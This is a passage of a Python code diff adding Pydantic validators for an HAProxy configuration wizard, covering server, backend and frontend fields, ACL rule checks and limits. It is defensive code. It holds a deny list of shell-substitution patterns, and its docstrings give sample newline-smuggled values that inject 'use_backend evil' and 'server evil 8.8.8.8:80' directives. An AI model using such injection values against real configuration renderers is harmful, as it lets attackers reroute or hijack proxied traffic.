that needs review. The +# newline/CR check below still defeats actual directive-injection +# attempts. +_DANGEROUS_RULE_PATTERNS = ("$(", "`") + +# Phase K Phase D follow-up (Bulgu #12 round 3) — the HAProxy `-f +# ` ACL/condition flag instructs HAProxy to load match patterns +# from a server-side file at parse time. HAProxy OpenManager is a +# fully-managed product: we do NOT provision pattern files onto the +# HAProxy node's filesystem, and operators have no UI to upload one. +# A `-f /some/path` reference therefore ALWAYS resolves to +# "file not found" when HAProxy's real `-c` parse runs at apply +# time, producing exactly the operator-reported failure mode: +# [ALERT] parsing ACL 'acl1' : failed to open pattern file . +# [ALERT] parsing switching rule : no such ACL : 'acl1'. +# +# Surface this BEFORE persist by rejecting `-f` in any rule string +# that comes through the wizard / manual frontend API. Reject ALL +# variants (` -f `, leading `-f `, trailing `... -f`) defensively so +# operators cannot slip the flag through with creative spacing. +# The check is anchored to ACL/condition rule strings only; raw +# HAProxy snippet fields (tcp_request_rules, request_headers, ...) +# are NOT touched because those are inherently free-form and +# advanced operators may legitimately reference pre-provisioned +# pattern files there. +_ACL_FILE_FLAG_PATTERN = re.compile(r"(^|\s)-f(\s|$)") +_ACL_FILE_FLAG_MESSAGE = ( + "pattern-file references with '-f ' are not supported in ACL / " + "use_backend / redirect rules: HAProxy OpenManager does not provision " + "pattern files onto the HAProxy node's filesystem, so the reference " + "would always fail at HAProxy reload time. Use inline values " + "instead (e.g. `acl is_admin src 10.0.0.0/24` rather than " + "`acl is_admin src -f /etc/haproxy/admins.lst`)." +) + +# Phase K Phase D follow-up (Bulgu #13) — detect a routing / +# redirect rule whose condition references the SAME ACL in both +# positive and negated form (e.g. `use_backend foo if acl1 !acl1`). +# HAProxy accepts the syntax but the predicate `X AND NOT X` is +# permanently false, so the rule never fires and traffic silently +# falls through to `default_backend`. The wizard's visual builder +# (mode="tags" Select for routing conditions) previously allowed +# the operator to pick both forms; the auto-dedup there is the +# first guard, this is the server-side gate. +_ACL_NAME_TOKEN = re.compile(r"^!?([A-Za-z_][\w.-]*)$") +_ACL_CONTRADICTION_MESSAGE = ( + "self-contradictory condition: the same ACL appears in both " + "positive and negated form (e.g. `acl1 !acl1`). HAProxy accepts " + "the syntax but the predicate `X AND NOT X` is always false, so " + "the rule never fires and traffic silently falls through to " + "`default_backend`. Remove one of the two tokens." +) + + +def _detect_acl_contradiction(directive: str) -> List[str]: + """Return the list of ACL names that appear in BOTH positive + and negated form in the given directive string. Empty list + means no obvious self-contradiction. + + Only flags pure ACL identifier tokens (`acl1`, `!acl1`). Does + not interpret anonymous ACLs (`{ ssl_fc }`) or compound forms. + """ + pos: set = set() + neg: set = set() + for raw in directive.split(): + if raw in ("if", "unless"): + continue + m = _ACL_NAME_TOKEN.match(raw) + if not m: + continue + name = m.group(1) + if raw.startswith("!"): + neg.add(name) + else: + pos.add(name) + return sorted(pos & neg) + + +def _validate_haproxy_directive_string( + value: Any, + field_label: str, + *, + check_acl_contradiction: bool = False, +) -> str: + """Shared safety validator for ACL / use_backend / redirect rule strings. + + Returns the trimmed string on success; raises ValueError with a clear, + operator-friendly message on any of: + - non-string element + - empty / whitespace-only string + - string longer than 4 KB (R14 hardening posture) + - newline / carriage return embedded in the string (HAProxy + directives are line-oriented; a multi-line string would inject + arbitrary directives into the rendered config) + - dangerous shell-substitution / interpolation patterns the manual + frontend API also rejects (`system`, `exec`, `eval`, `$(`, + backtick). + - `-f ` pattern-file references (operator cannot provision + files onto the HAProxy node). + - (when `check_acl_contradiction=True`) the same ACL appearing in + both positive AND negated form, producing a permanently-false + predicate. + """ + if not isinstance(value, str): + raise ValueError( + f"{field_label} entries must be HAProxy directive strings; " + f"got {type(value).__name__}" + ) + stripped = value.strip() + if not stripped: + raise ValueError( + f"{field_label} entries must not be empty / whitespace-only" + ) + if len(stripped) > _MAX_RULE_STRING_LEN: + raise ValueError( + f"{field_label} entry exceeds {_MAX_RULE_STRING_LEN} characters " + f"(got {len(stripped)})" + ) + if "\n" in stripped or "\r" in stripped: + raise ValueError( + f"{field_label} entries must not contain line breaks " + "(HAProxy directives are line-oriented; embedded newlines " + "would inject arbitrary directives into the rendered config)" + ) + lowered = stripped.lower() + for pattern in _DANGEROUS_RULE_PATTERNS: + if pattern in lowered: + raise ValueError( + f"{field_label} entry contains potentially dangerous content: " + f"{pattern!r}" + ) + # Phase K Phase D follow-up (Bulgu #12 round 3) — reject the + # HAProxy `-f ` pattern-file flag because OpenManager does + # not manage the HAProxy node filesystem. See the module-level + # `_ACL_FILE_FLAG_PATTERN` docstring for the full operator- + # reported failure mode this guards against. + if _ACL_FILE_FLAG_PATTERN.search(stripped): + raise ValueError(f"{field_label}: {_ACL_FILE_FLAG_MESSAGE}") + # Phase K Phase D follow-up (Bulgu #13) — for routing / + # redirect rules (not ACL definitions themselves), reject a + # condition that contains the same ACL in both positive and + # negated polarity. The wizard's visual builder dedups this + # at edit time; this server-side gate catches hand-crafted + # API payloads and stale drafts that may have been saved + # before the UI dedup landed. + if check_acl_contradiction: + conflicts = _detect_acl_contradiction(stripped) + if conflicts: + raise ValueError( + f"{field_label}: {_ACL_CONTRADICTION_MESSAGE} " + f"Conflicting ACL(s): {', '.join(conflicts)}." + ) + return stripped + + +class ServerStep(BaseModel): + server_name: str = Field(..., pattern=_SERVER_NAME_REGEX) + server_address: str = Field(..., min_length=1, max_length=253) + server_port: int = Field(..., ge=1, le=65535) + + @field_validator("server_name") + @classmethod + def _server_name_not_haproxy_keyword(cls, v: str) -> str: + """Bulgu #43 (round-17 audit) — guard against HAProxy section + keywords and ACL operators in server names. While the rendered + `server defaults 10.0.0.1:80 …` is technically legal, the + operator can no longer grep for `default-server` lines without + false positives. Reject defensively.""" + return _validate_not_haproxy_keyword(v, "server.server_name") + + @field_validator("server_address") + @classmethod + def _validate_server_address(cls, v: str) -> str: + """Bulgu #17 (round-7 audit): pre-fix `server_address` + only enforced `min_length=1`, which accepted single-space + and tab-only strings. The renderer then emits + `server srv1 :8080` (literally a leading space before the + colon) which HAProxy's parser rejects with a generic + syntax error. + + Strip and re-check non-empty. We do NOT validate IP / + hostname syntax here — operators sometimes intentionally + use DNS names that resolve to internal hosts only at + runtime — but whitespace-only is unambiguously garbage. + """ + if v is None: + return v + stripped = v.strip() + if not stripped: + raise ValueError( + "server.server_address must not be empty or whitespace-only" + ) + # Reject embedded whitespace too — HAProxy splits the line + # at the first space, so 'srv1 1.1.1.1' would parse as + # name='srv1', address='1.1.1.1' which is NOT what the + # operator typed. + if any(ch.isspace() for ch in stripped): + raise ValueError( + f"server.server_address must not contain whitespace " + f"(got {v!r}). HAProxy parses server lines token-by-" + f"token; an embedded space would shift the address " + f"into a keyword position." + ) + return stripped + weight: int = Field(default=100, ge=0, le=256) + # Bulgu #46 (round-17 audit) — per-server maxconn upper bound: a + # single server cannot reasonably hold more than the cluster's + # global maxconn, so capping at the same defensive 1M ceiling is + # safe and rules out typos like `10**12`. + max_connections: Optional[int] = Field( + default=None, ge=0, le=_MAX_HAPROXY_CONN_LIMIT, + ) + # Advanced health-check tuning (HAProxy `inter`, `fall`, `rise`) + check_enabled: bool = True + check_port: Optional[int] = Field(default=None, ge=1, le=65535) + # Bulgu #22 (round-11 audit): HAProxy rejects `inter 0`, `fall 0`, + # `rise 0` with parser errors ("inter: minimum 1ms", "fall/rise: + # argument 0 is invalid range from 1 to 100"). Pre-fix the wizard + # accepted 0 and surfaced the failure only at apply-time via the + # agent's `haproxy -c`. Tighten to `ge=1` so the wizard rejects + # at submit-time with a clear field-level error. + # + # Bulgu #45 (round-17 audit): `inter` is a ms timeout — cap at 24h + # (well below int32 overflow). `fall`/`rise` are check counts — + # HAProxy documents the upper bound as 100; we mirror it. Pre-fix + # the wizard accepted `inter=10**12`, `fall=10**6` which the + # renderer emitted verbatim; HAProxy parser overflow surfaced + # only at apply time. + inter: Optional[int] = Field( + default=None, ge=1, le=_MAX_HAPROXY_TIMEOUT_MS, + description="Health check interval in ms (HAProxy requires >= 1, cap 24h)", + ) + fall: Optional[int] = Field( + default=None, ge=1, le=100, + description="Failed checks before marking server DOWN (HAProxy 1-100)", + ) + rise: Optional[int] = Field( + default=None, ge=1, le=100, + description="Successful checks before marking server UP (HAProxy 1-100)", + ) + # Advanced server flags + backup_server: bool = False + cookie_value: Optional[str] = Field(default=None, max_length=255, description="Sticky session cookie value") + # SSL/TLS to backend (HAProxy `server ... ssl`) + ssl_enabled: bool = False + ssl_verify: Optional[Literal["none", "required"]] = None + ssl_sni: Optional[str] = Field(default=None, max_length=253) + ssl_min_ver: Optional[Literal["TLSv1.0", "TLSv1.1", "TLSv1.2", "TLSv1.3"]] = None + ssl_max_ver: Optional[Literal["TLSv1.0", "TLSv1.1", "TLSv1.2", "TLSv1.3"]] = None + ssl_ciphers: Optional[str] = Field(default=None, max_length=2048) + + @field_validator("cookie_value", "ssl_sni", "ssl_ciphers") + @classmethod + def _validate_single_line_server_value( + cls, v: Optional[str], info + ) -> Optional[str]: + """Bulgu #33 (round-14 audit): the wizard interpolates these + fields directly into the rendered `server : + ... cookie sni ciphers ` line. Pre-fix the + Pydantic model only enforced `max_length`, so an operator with + wizard permission could embed a newline: + + cookie_value = "srv1\\n use_backend evil if always\\n" + + The renderer split the line at the newline and emitted: + + server srv1 1.1.1.1:80 ... cookie srv1 + use_backend evil if always + + — smuggling a directive into the parent backend block. The + same smuggling vector exists for `ssl_sni` (`sni `) and + `ssl_ciphers` (`ciphers `) because both land on the same + server line. None of these values are legitimately multi-line: + + * `cookie_value` is a short identifier (HAProxy stores it + in the Set-Cookie response header verbatim). + * `ssl_sni` is a single hostname (DNS / FQDN form). + * `ssl_ciphers` is an OpenSSL cipher spec — colon-separated, + no whitespace. + + Reject any newline (\\n, \\r, \\r\\n). Additionally reject + embedded whitespace inside `ssl_sni` (HAProxy splits the + server line at the first space, so a space inside the SNI + value would shift later keywords into wrong positions). The + cipher list and cookie value tolerate `tab` historically; we + keep the strict newline-only rejection there to stay + backward-compatible with operator inputs. + + Multi-line free-form fields (`request_headers`, + `response_headers`, `tcp_request_rules`, raw `options`) are + intentionally line-oriented and ARE NOT touched here. + """ + if v is None: + return v + if '\n' in v or '\r' in v: + field_name = info.field_name if info else 'server field' + raise ValueError( + f"server.{field_name} must not contain line breaks " + "(HAProxy server lines are single-line; embedded " + "newlines would smuggle additional directives into " + "the rendered backend block)" + ) + # ssl_sni is a hostname — HAProxy's server-line tokenizer + # splits at the first whitespace, so any embedded space would + # shift later server keywords (`ciphers`, `inter`, `check`, + # …) into the wrong positions. + if info and info.field_name == "ssl_sni": + if any(ch.isspace() for ch in v): + raise ValueError( + f"server.ssl_sni must not contain whitespace " + f"(got {v!r}). HAProxy's server-line tokenizer " + "splits at the first space, so a space inside the " + "SNI value would corrupt the rendered config." + ) + return v + # R17 (label corrected R18): CA bundle used by HAProxy to VERIFY the + # upstream server's TLS certificate. Maps to the `ca-file` directive + # on the HAProxy server line (services/haproxy_config.py:785). The + # field is named `ssl_certificate_id` for parity with the manual + # BackendServers create endpoint; semantics is "CA verification + # bundle", NOT "client cert presented by HAProxy". The latter would + # require a separate `crt` directive which is not exposed by the + # wizard or the manual UI today. + # Optional + None default = backward-compatible with v1.5.0 saved drafts + # and direct API callers that don't send the field. + ssl_certificate_id: Optional[int] = Field( + default=None, ge=1, + description="CA bundle used by HAProxy to verify the upstream server's TLS certificate (HAProxy `ca-file` directive on the server line). FK -> ssl_certificates.id.", + ) + + @field_validator("ssl_verify", mode="before") + @classmethod + def coerce_ssl_verify_empty_to_none(cls, v): + """PR-2 (R11.B): UI Select widgets clear to '' (empty string) + which the strict Literal would reject. Coerce '' / sentinels + / legacy 'optional' (server-side mTLS doesn't support it) to + None so the generator omits the directive.""" + if v is None: + return None + if isinstance(v, str): + stripped = v.strip().lower() + if stripped in ("", "[]", "{}", "null", "optional"): + return None + if stripped == "none": + return "none" + if stripped == "required": + return "required" + return v + + @model_validator(mode="after") + def reject_server_ca_bundle_without_ssl(self): + """R17 (renamed in R18): ssl_certificate_id (HAProxy `ca-file`) + is meaningless when the upstream server connection itself is + plaintext. Reject the combination at the wizard layer so users + get a clear error instead of HAProxy silently ignoring the + ca-file directive.""" + if self.ssl_certificate_id is not None and not self.ssl_enabled: + raise ValueError( + "server.ssl_certificate_id requires server.ssl_enabled=true. " + "Enable SSL to backend or clear the CA bundle selection." + ) + # R18c audit fix (round 3 #6): refuse to accept TLS 1.0 / 1.1 + # for upstream server connections. Both protocols were + # formally deprecated by RFC 8996 (March 2021); modern + # browsers, Cloudflare, AWS and Azure have long since + # disabled them, and accepting them on the wizard surface + # creates a route for operators to accidentally ship + # downgrade-prone configurations. The Pydantic Literal + # accepts the strings so that existing DB rows can still + # round-trip through API serializers (responses are not + # blocked); the wizard CREATE path explicitly rejects new + # values with a clear error. Operators with a hard + # requirement can still author the backend through the + # regular Backends UI which has its own audited path. + for fld in ("ssl_min_ver", "ssl_max_ver"): + v = getattr(self, fld, None) + if v in ("TLSv1.0", "TLSv1.1"): + raise ValueError( + f"server.{fld}={v} is no longer accepted by the wizard. " + "TLS 1.0 / 1.1 are deprecated by RFC 8996. Use TLSv1.2 " + "or TLSv1.3." + ) + return self + + +class BackendStep(BaseModel): + name: str = Field(..., pattern=_BACKEND_NAME_REGEX) + # NOTE: HAProxy supports parametric algorithms `hdr()`, + # `url_param()` and `rdp-cookie()`. The wizard does NOT + # accept those today because the parameter (header / query name) + # would need a dedicated input. Without the parameter HAProxy rejects + # the bare directive (`balance hdr` is invalid syntax). Stick to + # parameter-free algorithms here; advanced users wanting parametric + # balance can author the backend in the regular Backends UI. + balance_method: Literal[ + "roundrobin", "leastconn", "static-rr", "first", "source", "uri", "random", + ] = "roundrobin" + mode: Literal["http", "tcp"] = "http" + health_check_uri: Optional[str] = Field(default="/", max_length=2048) + # Bulgu #45 (round-17 audit) — cap health-check + timeout values at + # HAProxy's safe ms upper bound (24h, well below int32 overflow at + # ~24.85 days). Pre-fix the wizard accepted `timeout_connect=10**18` + # which produced a config the agent's `haproxy -c` rejected with + # an opaque "invalid timeout" message. + health_check_interval: Optional[int] = Field( + default=2000, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + health_check_expected_status: Optional[int] = Field(default=200, ge=100, le=599) + timeout_connect: Optional[int] = Field( + default=10000, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + timeout_server: Optional[int] = Field( + default=60000, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + timeout_queue: Optional[int] = Field( + default=60000, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + # Bulgu #46 (round-17 audit) — fullconn cap. HAProxy parses this as + # uint; >1M is almost always a typo. + fullconn: Optional[int] = Field( + default=None, ge=0, le=_MAX_HAPROXY_CONN_LIMIT, + description="Backend total active connections threshold", + ) + options: Optional[str] = Field(default=None, max_length=8192) + # Sticky-session via cookie persistence (HAProxy `cookie SRVID insert indirect nocache`) + cookie_name: Optional[str] = Field(default=None, max_length=128) + cookie_options: Optional[str] = Field(default=None, max_length=512) + # Default-server-* directives (defaults applied to every server) + # Bulgu #22 (round-11 audit): same HAProxy parser constraint as + # per-server inter/fall/rise — values must be >= 1 or HAProxy + # rejects the `default-server` line at parse time. + # Bulgu #45 (round-17 audit) — apply the same upper bounds the + # per-server fields enforce so default-server caps cannot exceed + # what each server can. + default_server_inter: Optional[int] = Field( + default=None, ge=1, le=_MAX_HAPROXY_TIMEOUT_MS, + description="Default health interval (ms, HAProxy 1-86400000)", + ) + default_server_fall: Optional[int] = Field( + default=None, ge=1, le=100, + description="Default fall count (HAProxy 1-100)", + ) + default_server_rise: Optional[int] = Field( + default=None, ge=1, le=100, + description="Default rise count (HAProxy 1-100)", + ) + # Header injection (multi-line; validated by HAProxy at apply time) + request_headers: Optional[str] = Field(default=None, max_length=8192) + response_headers: Optional[str] = Field(default=None, max_length=8192) + + @field_validator("name") + @classmethod + def reject_system_prefix(cls, v: str) -> str: + if v.startswith("_"): + raise ValueError( + "Backend name must not start with '_' (reserved for system-managed entities)" + ) + # Bulgu #43 (round-17 audit) — additional HAProxy section + # keyword check (defaults / global / listen / frontend / …). + return _validate_not_haproxy_keyword(v, "backend.name") + + @field_validator("cookie_name", "cookie_options") + @classmethod + def _validate_single_line_cookie_field( + cls, v: Optional[str], info + ) -> Optional[str]: + """Bulgu #18 (round-8 audit): `cookie_name` and `cookie_options` + are single-line fields by HAProxy syntax (one `cookie + [options]*` directive per backend block). Pre-fix the Pydantic + model only enforced `max_length`, so an operator could embed + a newline: + + cookie_options = "insert indirect\\n server evil 8.8.8.8:80" + + The renderer then split the value at the newline and emitted: + + cookie SRVNAME insert indirect + server evil 8.8.8.8:80 + + — smuggling a `server` line into the backend block. Reject any + newline (\\n, \\r, \\r\\n) in these fields. Multi-line free-form + fields like `request_headers` / `response_headers` / + `tcp_request_rules` are intentionally line-oriented and ARE + NOT touched here. + """ + if v is None: + return v + if '\n' in v or '\r' in v: + field_name = info.field_name if info else 'cookie field' + raise ValueError( + f"backend.{field_name} must not contain line breaks " + "(HAProxy `cookie` directive is single-line; embedded " + "newlines would smuggle additional directives into " + "the rendered config)" + ) + return v + + @field_validator("health_check_uri") + @classmethod + def _validate_health_check_uri(cls, v: Optional[str]) -> Optional[str]: + """Bulgu #17 (round-7 audit): HAProxy's `option httpchk GET ` + emits the URI verbatim into the health-check HTTP request. + Pre-fix the wizard accepted `health_check_uri='hh1'` (no + leading slash) and emitted `option httpchk GET hh1`. The + agent's HTTP probe then sends `GET hh1 HTTP/1.0` which the + upstream silently returns 400 for — the operator's health + check is permanently failing. + + Same gating as `frontend.monitor_uri` (Bulgu #16): + non-empty, leading `/`, no whitespace. + """ + if v is None: + return v + s = v.strip() + if not s: + # Empty string is a misconfiguration — the field is + # Optional[str] with default '/', so an operator who + # really wants to disable the health check should set + # `check_enabled=False` on the per-server level, not + # blank the backend default. + raise ValueError( + "backend.health_check_uri must not be empty. " + "Use the default '/' or a real path. To disable " + "health checks, set `check_enabled=False` on each " + "server instead." + ) + if not s.startswith('/'): + raise ValueError( + "backend.health_check_uri must start with '/' " + "(HAProxy emits the value verbatim into the " + f"health-check HTTP request, got {v!r})" + ) + if any(ch.isspace() for ch in s): + raise ValueError( + "backend.health_check_uri must not contain whitespace " + f"(HAProxy directive parser would break, got {v!r})" + ) + return s + + @model_validator(mode="after") + def reject_cookie_on_tcp_mode(self): + """v1.5.0 R12: HAProxy `cookie` directive is HTTP-only. Asking + for sticky-cookie persistence on a TCP backend produces an + invalid config that HAProxy refuses to load. Catch it at the + wizard layer with a clear error rather than letting it surface + as an opaque `option httpchk` / cookie syntax error at apply + time. + + Bulgu #56 (round-19 audit) — backend-side companion of the + FrontendStep guard. `request_headers` / `response_headers` on a + backend render via haproxy_config.py:1306-1321 as + `http-request set-header …` / `http-response set-header …` + directives, and HAProxy's parser refuses these inside a + `mode tcp` backend block exactly the same way it does for + frontends ("'http-response' is not allowed in 'backend' section + in mode tcp"). Reject the combo at submit time so the operator + does not wedge the cluster's apply queue with a parse error + only discovered after the rows are inserted. + """ + if self.mode == "tcp": + tcp_blockers: List[str] = [] + if self.cookie_name: + tcp_blockers.append("cookie_name") + if self.request_headers: + tcp_blockers.append("request_headers") + if self.response_headers: + tcp_blockers.append("response_headers") + # Bulgu #61 (round-21 audit) — `balance uri` is HTTP-only. + # + # HAProxy configuration manual section 4.2 on `balance`: + # "uri — Note that this algorithm may only be used in + # an HTTP backend." + # + # The wizard's renderer emits `balance ` for any + # backend regardless of mode. Pre-fix a payload with + # `mode='tcp' + balance_method='uri'` rendered cleanly, + # the agent's `haproxy -c` then refused the config with + # the same kind of parse error as the round-19 #56 + # `http-response`-in-tcp-mode failure, blocking the + # cluster's apply queue until an operator manually + # corrected the entity. Catch the combination here so + # the operator sees an actionable message at submit + # time instead of after the rows are inserted. + # + # Other parametric HTTP-only methods (`hdr(...)`, + # `url_param(...)`) are intentionally not in the + # wizard's enum (see line 545-552 above) so they + # cannot reach this validator. + if self.balance_method == "uri": + tcp_blockers.append("balance_method='uri'") + if tcp_blockers: + raise ValueError( + f"backend.mode='tcp' is incompatible with the " + f"following HTTP-only field(s): {', '.join(tcp_blockers)}. " + "HAProxy rejects these directives in a TCP-mode " + "backend at parse time. Switch to mode='http' OR " + "unset the listed field(s) and resubmit." + ) + return self + + +class FrontendStep(BaseModel): + name: str = Field(..., pattern=_FRONTEND_NAME_REGEX) + mode: Literal["http", "tcp"] = "http" + bind_address: str = Field(default="*", max_length=64) + bind_port: int = Field(default=80, ge=1, le=65535) + https_redirect: bool = False + # Phase K: `redirect_rules` is intentionally heterogeneous to keep + # `services/haproxy_config.py::_format_redirect_rule` (which accepts + # both legacy raw strings and structured dicts) backward compatible. + # `acl_rules` and `use_backend_rules` are pure `List[str]` because + # the renderer only knows how to emit string elements there + # (non-strings are silently dropped with a warning, and + # `routers/backend.py` does substring-match on these lists when + # cleaning up after a backend deletion — both paths assume strings). + # Bulgu #58 (round-20 audit) — cap list lengths. + # + # Pre-fix `acl_rules` / `use_backend_rules` / `redirect_rules` had + # NO max_length, so an authenticated wizard user could POST a + # frontend payload with tens of thousands of rules. Two failure + # modes: + # 1. The body itself passes the 256KB draft cap (`SiteDraftCreate` + # enforces that for drafts, but POST /api/sites accepts a + # larger inline body up to FastAPI/uvicorn's default request + # size). The wizard happily INSERTs a frontend whose JSONB + # columns are megabytes wide. + # 2. The agent's HAProxy config render expands every entry into + # a line; the generated config can easily push past HAProxy's + # parser memory limits and reload becomes a several-second + # stop-the-world event. + # + # Real wizard frontends rarely need more than a dozen rules. The + # cap is set to 256 per list — generous for advanced multi-domain + # proxies but bounded enough to refuse abuse. Operators with a + # genuine 257-rule frontend can split the work across two + # frontends (or use a regex-aggregating ACL). + redirect_rules: List[Union[str, dict]] = Field( + default_factory=list, max_length=256, + ) + acl_rules: List[str] = Field(default_factory=list, max_length=256) + use_backend_rules: List[str] = Field(default_factory=list, max_length=256) + options: Optional[str] = Field(default=None, max_length=8192) + tcp_request_rules: Optional[str] = Field(default=None, max_length=8192) + # Bulgu #45 (round-17 audit) — frontend timeouts share the same + # ms upper bound as backend timeouts (HAProxy parser is signed + # int32 of ms). Cap at 24h to defend against typos like + # 60_000_000 ("operator meant seconds"). + timeout_client: Optional[int] = Field( + default=None, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + timeout_http_request: Optional[int] = Field( + default=None, ge=100, le=_MAX_HAPROXY_TIMEOUT_MS, + ) + # Bulgu #46 (round-17 audit) — DoS-shaped maxconn / rate_limit. + # HAProxy parses these as uint, but practical limits are bounded + # by the agent's `ulimit -n`. 1M is a defensive ceiling well above + # any realistic production value. + maxconn: Optional[int] = Field( + default=None, ge=1, le=_MAX_HAPROXY_CONN_LIMIT, + ) + rate_limit: Optional[int] = Field( + default=None, ge=0, le=_MAX_HAPROXY_CONN_LIMIT, + description="Per-frontend rate limit (req/sec)", + ) + compression: bool = Field(default=False, description="Enable HAProxy gzip compression") + log_separate: bool = Field(default=False, description="Use a dedicated log section for this frontend") + monitor_uri: Optional[str] = Field(default=None, max_length=255, description="HAProxy `monitor-uri` for health probes") + # Header injection + request_headers: Optional[str] = Field(default=None, max_length=8192) + response_headers: Optional[str] = Field(default=None, max_length=8192) + # Internal: server-side injects backend.name as default_backend before + # delegating to frontend_service.create_frontend_row. Always None on the + # API surface — clients should NOT set it. + default_backend: Optional[str] = Field(default=None, max_length=255) + + @field_validator("name") + @classmethod + def reject_system_prefix(cls, v: str) -> str: + if v.startswith("_"): + raise ValueError( + "Frontend name must not start with '_' (reserved for system-managed entities)" + ) + # Bulgu #43 (round-17 audit) — section keyword check. + return _validate_not_haproxy_keyword(v, "frontend.name") + + @field_validator("bind_address") + @classmethod + def _validate_bind_address(cls, v: str) -> str: + """Bulgu #44 (round-17 audit) — `bind_address` is interpolated + verbatim into the rendered `bind :` line. Pre-fix + the only constraint was `max_length=64`, which accepted: + + * `'foo bar'` → renders `bind foo bar:80` (HAProxy parses + `bar:80` and SILENTLY discards `foo` — operator's IP + allocation is wrong without any error); + * `'$(...)'` → potential shell-metacharacter confusion in + tooling that pipes the rendered config through `sh -c`; + * `'-r'` → looks like an HAProxy CLI flag in admin + grep output; + * `'/etc/x'` → path-style nonsense. + + Constrain to the HAProxy `bind` host syntax (covers `*`, IPv4 + dotted, IPv6 raw or bracketed, hostnames, and HAProxy env + references `@`). The result is a strict-but-complete + positive list.""" + if v is None: + return v + stripped = v.strip() + if not stripped: + raise ValueError( + "frontend.bind_address must not be empty or whitespace-only " + "(use '*' for all interfaces)" + ) + if stripped != v: + raise ValueError( + "frontend.bind_address must not contain leading or trailing " + "whitespace" + ) + if any(ch.isspace() for ch in stripped): + raise ValueError( + "frontend.bind_address must not contain whitespace " + f"(got {v!r}). HAProxy's `bind` parser splits at the first " + "space, so an embedded space silently truncates the address." + ) + # Reject leading hyphen up-front so the operator never gets + # confused with HAProxy / shell CLI flag tokens (`-r`, + # `-d`, …) in admin grep output. + if stripped.startswith("-"): + raise ValueError( + f"frontend.bind_address={v!r} must not start with '-' " + "(would shadow HAProxy / shell CLI flag tokens in admin " + "grep output)." + ) + if not _BIND_ADDRESS_REGEX.match(stripped): + raise ValueError( + f"frontend.bind_address={v!r} is not a valid HAProxy bind " + "host. Accepted forms: '*' (all), '0.0.0.0' / '127.0.0.1' " + "(IPv4), '[::]' / '[::1]' (IPv6 bracketed), '', " + "'@' (HAProxy env reference)." + ) + return stripped + + @field_validator("monitor_uri") + @classmethod + def _validate_monitor_uri(cls, v: Optional[str]) -> Optional[str]: + """Bulgu #16 (round-6 audit): HAProxy's `monitor-uri` directive + expects an absolute path beginning with `/`. Pre-fix the wizard + accepted `monitor_uri='hel'` (no leading slash) and emitted + `monitor-uri hel` into the frontend block. HAProxy then treats + the value as a relative match and the operator's health-probe + URL silently returns 503. + + Additional reject criteria: + * embedded whitespace breaks the directive at the parser + (everything after the first space becomes an unknown + keyword); + * embedded `\n` would smuggle a second directive into the + block (we already reject newlines in `acl_rules` via + `_validate_haproxy_directive_string`, but `monitor_uri` + was a separate code path). + """ + if v is None: + return v + s = v.strip() + if not s: + return None + if not s.startswith('/'): + raise ValueError( + "frontend.monitor_uri must start with '/' " + "(HAProxy `monitor-uri` requires an absolute path, " + f"got {v!r})" + ) + # Reject any whitespace including \t, \r, \n. + if any(ch.isspace() for ch in s): + raise ValueError( + "frontend.monitor_uri must not contain whitespace " + "(HAProxy's `monitor-uri` parser splits the line at " + f"the first space, got {v!r})" + ) + return s + + @field_validator("acl_rules", mode="before") + @classmethod + def _validate_acl_rules(cls, v: Any) -> List[str]: + """Phase K: enforce string-only contract + manual-API security + parity (newline reject, danger pattern reject, length bound). + """ + if v is None: + return [] + if not isinstance(v, list): + raise ValueError("acl_rules must be a list of HAProxy directive strings") + return [_validate_haproxy_directive_string(el, "acl_rules") for el in v] + + @field_validator("use_backend_rules", mode="before") + @classmethod + def _validate_use_backend_rules(cls, v: Any) -> List[str]: + """Phase K: same contract as acl_rules — string only, sanitised. + + Phase K Phase D follow-up (Bulgu #13) — additionally rejects + self-contradictory conditions (`X AND NOT X`) because those + produce dead-code routing rules that silently fall through to + `default_backend`. + """ + if v is None: + return [] + if not isinstance(v, list): + raise ValueError("use_backend_rules must be a list of HAProxy directive strings") + return [ + _validate_haproxy_directive_string( + el, "use_backend_rules", check_acl_contradiction=True + ) + for el in v + ] + + @field_validator("redirect_rules", mode="before") + @classmethod + def _validate_redirect_rules(cls, v: Any) -> List[Union[str, dict]]: + """Phase K: heterogeneous contract — accept legacy raw-string + fragments AND structured dicts (matching + `services/haproxy_config.py::_format_redirect_rule`). Strings + get the same safety pass as ACL / use_backend; dicts also + get a `-f` flag rejection on their `condition` / + `target` fields (Bulgu #12 round 3 extension) since the + renderer at `_format_redirect_rule` emits those fields + verbatim into the HAProxy directive string.""" + if v is None: + return [] + if not isinstance(v, list): + raise ValueError( + "redirect_rules must be a list of HAProxy directive strings or " + "structured dicts" + ) + normalised: List[Union[str, dict]] = [] + for el in v: + if isinstance(el, dict): + # Phase K Phase D follow-up (Bulgu #12 round 3 + # extension) — dict-shaped redirect rules emit their + # `condition` / `target` fields VERBATIM into the + # rendered HAProxy directive. A dict with + # `condition: "if { src -f /etc/haproxy/x.lst }"` + # would slip past the string-only validator above + # and trigger the same operator-reported "failed to + # open pattern file" rejection at apply time. Reject + # `-f` in any string-shaped value the dict carries. + for field_name in ("condition", "target", "type"): + val = el.get(field_name) + if isinstance(val, str) and _ACL_FILE_FLAG_PATTERN.search(val): + raise ValueError( + f"redirect_rules.{field_name}: {_ACL_FILE_FLAG_MESSAGE}" + ) + # Bulgu #13 extension — same contradiction guard + # for dict-shaped redirect conditions. + cond_val = el.get("condition") + if isinstance(cond_val, str): + conflicts = _detect_acl_contradiction(cond_val) + if conflicts: + raise ValueError( + f"redirect_rules.condition: " + f"{_ACL_CONTRADICTION_MESSAGE} " + f"Conflicting ACL(s): {', '.join(conflicts)}." + ) + normalised.append(el) + elif isinstance(el, str): + normalised.append( + _validate_haproxy_directive_string( + el, "redirect_rules", check_acl_contradiction=True + ) + ) + else: + raise ValueError( + "redirect_rules entries must be HAProxy directive strings " + f"or structured dicts; got {type(el).__name__}" + ) + return normalised + + @model_validator(mode="after") + def reject_redirect_conflict(self) -> "FrontendStep": + # M19: https_redirect (UI sugar) is server-side expanded to a + # redirect_rules row. Cannot coexist with explicit redirect_rules. + if self.https_redirect and self.redirect_rules: + raise ValueError( + "https_redirect and redirect_rules are mutually exclusive: " + "set redirect_rules manually OR enable https_redirect, not both" + ) + return self + + @model_validator(mode="after") + def reject_tcp_mode_with_https_redirect(self) -> 